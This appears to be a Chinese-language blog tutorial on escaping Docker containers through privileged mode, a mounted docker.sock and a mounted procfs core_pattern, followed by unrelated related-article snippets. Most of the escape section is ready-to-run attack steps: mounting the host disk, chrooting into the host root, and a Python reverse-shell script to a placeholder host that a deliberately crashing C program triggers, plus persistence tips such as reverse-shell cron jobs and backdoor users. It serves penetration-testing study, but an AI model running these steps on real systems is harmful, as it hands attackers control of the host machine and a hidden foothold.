Docker容器逃逸-特权模式-危险挂载-Procfs

devtools/2024/9/22 22:05:18/

Docker容器逃逸-特权模式-危险挂载

Docker这个概念: Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

Docker会遇到的安全问题大概有三点:

  1. 不安全的第三方软件

    1. 例如开发者在代码中引入了存在漏洞版本的 log4j2 组件,然后将其打包成了业务镜像。这样即使代码没有漏洞,但因为引入了不安全的第三方组件也变得有漏洞了。
  2. 不安全的镜像

    1. 在公共镜像仓库比如 Docker Hub 里,会存在一些有漏洞的镜像或者恶意镜像,如果使用了这些镜像那就存在风险了。
  3. 敏感信息泄露

    1. 如果开发者为了开发、调试方便,可能会将数据库账号密码、云服务密钥之类的敏感数据打包到了镜像里,那别人获取到这个镜像后,就会导致敏感信息泄露了。

判断当前是否在Docker中:

没有权限:很难直接通过某个特征直接判断出来,需要经验和目标的综合表现来判断

https://blog.csdn.net/qq_23936389/article/details/131486643

有命令执行权限:查看/.dockerenv这个文件是否存在,存在就是Docker环境

Docker逃逸:

  1. 特权模式启动导致的Docker逃逸:

    启动靶场docker run --rm --privileged=true -it alpine

    判断特权cat /proc/self/status | grep CapEff

    在容器内部执行上面这条命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
    查看挂载磁盘设备fdisk -l
    挂载目录mkdir /test && mount /dev/vda1 /test​ #把/dev/vda1这个目录改成目标对应的存在的目录;
    #这一步就是因为由特权模式导致权限过高,导致可以把物理机的根目录直接挂载到Docker容器中的虚拟目录

    判断结果cd /test && ls

    image

    权限维持的方法:留下反弹shell的定时计划任务;留下主机木马;创建后门用户

​​

  1. 危险挂载启动导致的Docker逃逸:

启动靶场docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu​​
进入环境docker exec -it with_docker_sock /bin/bash​​
检测环境ls -lah /var/run/docker.sock​​
挂载逃逸:(下面这三条命命令就是在docker容器中,再下载一个docke)

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash chroot /host

上面这两条命令的目的是将当前正在运行的Docker容器的根文件系统切换到宿主机的根文件系统上:

  1. docker run -it -v /:/host ubuntu /bin/bash​:

    • docker run​: 运行一个新的容器。
    • -it​: 分配一个伪终端并保持标准输入打开以便与容器进行交互。
    • -v /:/host​: 将宿主机的根文件系统挂载到容器内的/host​目录。这个挂载的操作允许容器内部访问宿主机的文件系统。
    • ubuntu​: 指定容器的镜像为Ubuntu。
    • /bin/bash​: 在容器内启动bash shell。
  2. chroot /host​:

    • chroot​: 更改根目录到指定目录。
    • /host​: 指定切换到的新根目录。

image

这两个命令的结合效果是,在一个新的Ubuntu容器中,首先将宿主机的根文件系统挂载到容器内的/host​目录上,
然后通过chroot​命令将容器的根目录切换到宿主机的根目录上,从而使得在容器中执行的命令会影响到宿主机的文件系统。
这种操作需要在宿主机上有足够的权限才能执行。

  1. 挂载了宿主机Procfs系统导致的Docker逃逸

    启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

    检测环境:find / -name core_pattern

    image

    查看当前容器在宿主机上的绝对路径:cat /proc/mounts | grep docker

    image

    写入文件:

    cat >/tmp/.x.py << EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost = "xx.xx.xx.xx"lport = xxxxdef main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()if **name** == "__main__":main()EOF
    

    image

    chmod +x /tmp/.x.py

    echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " >/host/proc/sys/kernel/core_pattern

    image

    上面这条echo命令中容器在宿主机的绝对路径要根据自己的环境改变;后面重定向符号到哪里的那个路径也是根据find / -name core_pattern​命令的结果决定的

    cat >/tmp/x.c << EOF#include <stdio.h>int main(void){int *a = NULL;*a = 1;return 0;}EOF
    

    image

    gcc x.c -o x

    开启监听

    nc -lvvp xxxx

    image

    执行文件:

    ./x

    这反弹出来的权限就会是物理机的权限了

Tips:

  1. docker images 查看系统中docker一共拉取下来的镜像文件有哪些
  2. 特权模式启动并不是指Root用户启动,而是指在启动镜像的时候用了 --rm --privileged=true 这个命令


http://www.ppmy.cn/devtools/6733.html

相关文章

LeetCode刷题总结 | 图论2—深度优先搜索广度优先搜索较为复杂应用

深搜广搜的标准模版在图论1已经整理过了&#xff0c;也整理了几个标准的套模板的题目&#xff0c;这一小节整理一下较为复杂的DFS&BFS应用类问题。 417 太平洋大西洋水流问题&#xff08;medium&#xff09; 有一个 m n 的矩形岛屿&#xff0c;与 太平洋 和 大西洋 相邻…

从OWASP API Security TOP 10谈API安全

1.前言 应用程序编程接口&#xff08;API&#xff09;是当今应用驱动世界创新的一个基本元素。从银行、零售、运输到物联网、 自动驾驶汽车、智慧城市&#xff0c;API 是现代移动、SaaS 和 web 应用程序的重要组成部分&#xff0c;可以在面向客 户、面向合作伙伴和内部的应用程…

2024-4-17-ARM作业

温湿度数据采集应用&#xff1a; si7006.h: #ifndef __SI7006_H__ #define __SI7006_H__#include"i2c.h" void delay(int ms); void si7006_init(); short si7006_read_tem(); unsigned short si7006_read_hum();#endif i2c.h: #ifndef __I2C_H__ #define __I2C_…

FY-SA-20237·8-MunchingBugs

Translated from the Scientific American, July/August 2023 issue. Munching Bugs “Munching bugs” 是指吃食昆虫。在这个词组中&#xff0c;“munching” 意味着大口咀嚼或吃东西&#xff0c;而 “bugs” 是对昆虫的俚语称呼。因此&#xff0c;“munching bugs” 指的是吃…

LLaMA3-70B: Meta AI 的最新自然语言处理模型

LLaMA-70B&#xff1a; Meta AI 的最新自然语言处理模型 近期&#xff0c;Meta AI 发布了其最新的自然语言处理模型 LLaMA-70B&#xff0c;这是一个基于 transformer 结构的语言模型&#xff0c;具有70亿个参数。LLaMA-70B 的发布标志着 Meta AI 在自然语言处理领域的又一重大突…

第⑭讲:Ceph集群管理:守护进程管理、日志管理和端口号配置

文章目录 1.Ceph各组件守护进程的管理方式2.守护进程管理操作2.1.Ceph所有组件的守护进程列表2.2.重启当前主机中所有的Ceph组件2.3.重启主机中所有的Monitor组件2.4.重启指定主机的Monitor组件2.5.重启指定的OSD组件 3.Ceph的日志管理4.Ceph集群各组件的守护进程5.Ceph集群各组…

【氮化镓】微波脉冲对GaN HEMT失效的影响

本文是一篇关于高功率微波脉冲作用下GaN HEMT&#xff08;高电子迁移率晶体管&#xff09;热电多物理场耦合失效的实验研究。文章由Xiangdong Li等人撰写&#xff0c;发表在2023年11月的《IEEE Transactions on Electron Devices》上。文章通过实验研究了在高功率微波脉冲应力下…

logstash迁移es自建数据到pass服务

1 安装 下载对应版本的tar文件 https://www.elastic.co/cn/downloads/past-releases#logstash解压 tar -zvxf logstash-6.8.23-linux-x86_64.tar.gz 2 配置 修改Logstash的堆内存使用vi config/jvm.options&#xff0c;修改Logstash配置文件config/jvm.options&#xff0c;增…